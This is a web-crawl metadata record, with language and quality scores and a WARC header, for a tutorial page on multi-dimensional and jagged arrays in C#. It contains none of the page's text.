{"ft_lang_label":"__label__en","ft_lang_prob":0.79741895,"math_prob":0.87941986,"size":6683,"snap":"2021-04-2021-17","text_gpt3_token_len":1586,"char_repetition_ratio":0.17502621,"word_repetition_ratio":0.12752858,"special_character_ratio":0.24524914,"punctuation_ratio":0.11893584,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9704368,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-04-17T04:23:38Z\",\"WARC-Record-ID\":\"<urn:uuid:a6b26edc-795b-40f8-9c02-3e7a93ea8b96>\",\"Content-Length\":\"561786\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:2613bdd1-40e8-4f3f-b76f-755cf2e8457f>\",\"WARC-Concurrent-To\":\"<urn:uuid:822be551-25a7-4818-8ccc-53f82701969c>\",\"WARC-IP-Address\":\"172.67.73.6\",\"WARC-Target-URI\":\"https://www.softwaretestinghelp.com/c-sharp/multi-dimensional-and-jagged-arrays-in-csharp/\",\"WARC-Payload-Digest\":\"sha1:EE5E5GWXC7I2YBQWHQKU6TG2NSYF2PHW\",\"WARC-Block-Digest\":\"sha1:FJUKKVUYZJXAJKCMJJCO7YJ5O7Y7XVFR\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-17/CC-MAIN-2021-17_segments_1618038101485.44_warc_CC-MAIN-20210417041730-20210417071730-00010.warc.gz\"}"}